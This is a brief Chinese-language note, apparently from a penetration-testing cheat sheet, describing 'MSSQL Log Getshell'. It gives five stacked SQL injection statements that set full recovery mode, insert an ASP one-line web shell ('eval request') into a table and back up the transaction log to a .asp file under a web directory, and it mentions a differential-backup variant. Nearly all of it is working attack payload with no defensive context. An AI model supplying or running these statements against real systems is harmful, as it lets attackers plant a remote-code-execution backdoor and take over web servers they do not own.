Contents

MSSQL Log Getshell

Contents

需要支持堆查询.

db_owner 权限即可.

1
2
3
4
5
;alter database xxxx set RECOVERY FULL--
;create table cmd (a image)--
;backup log xxxx to disk = 'd:/web/1.bak' with init--
;insert into cmd (a) values ('<% eval request(1) %>')--
;backup log xxxx to disk = 'd:/web/2.asp'--

另外还有差异备份, 不过缺点是备份出来的文件会很大.